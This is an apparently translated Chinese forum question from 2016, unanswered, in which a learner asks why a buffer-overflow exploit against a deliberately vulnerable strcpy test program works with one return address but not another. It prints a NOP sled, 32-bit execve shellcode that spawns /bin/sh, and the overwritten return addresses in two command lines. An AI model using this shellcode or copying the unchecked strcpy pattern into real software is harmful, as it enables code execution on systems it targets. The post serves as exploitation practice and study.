缓冲区溢出在ubuntu中不能很好地工作

时间:2016-09-21 08:40:02

标签: ubuntu assembly buffer-overflow

当我在ubuntu中练习bof(缓冲区溢出)时,我发现了一些奇怪的东西。

我使用了这段代码。 (test.c编译的文件是" test")

#include <stdio.h>

int main(int argc, char* argv[])
{
char buffer[256];
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return0;
}

我调试了它。和字符缓冲区启动0xffffd57c。 所以我写这个。

qwe@ubuntu:~/Document$ test $(python -c 'print "\x90"*237 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x7c\xd5\xff\xff"')

但它不起作用。

奇怪的是这段代码在下面工作。

qwe@ubuntu:~/Document$ test $(python -c 'print "\x90"*237 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x94\xd7\xff\xff"')

0xffffd794远离缓冲区的起始地址(0xffffd57c),甚至超过了nop着陆区的大小。

我不知道为什么会这样,我想知道。

0 个答案:

没有答案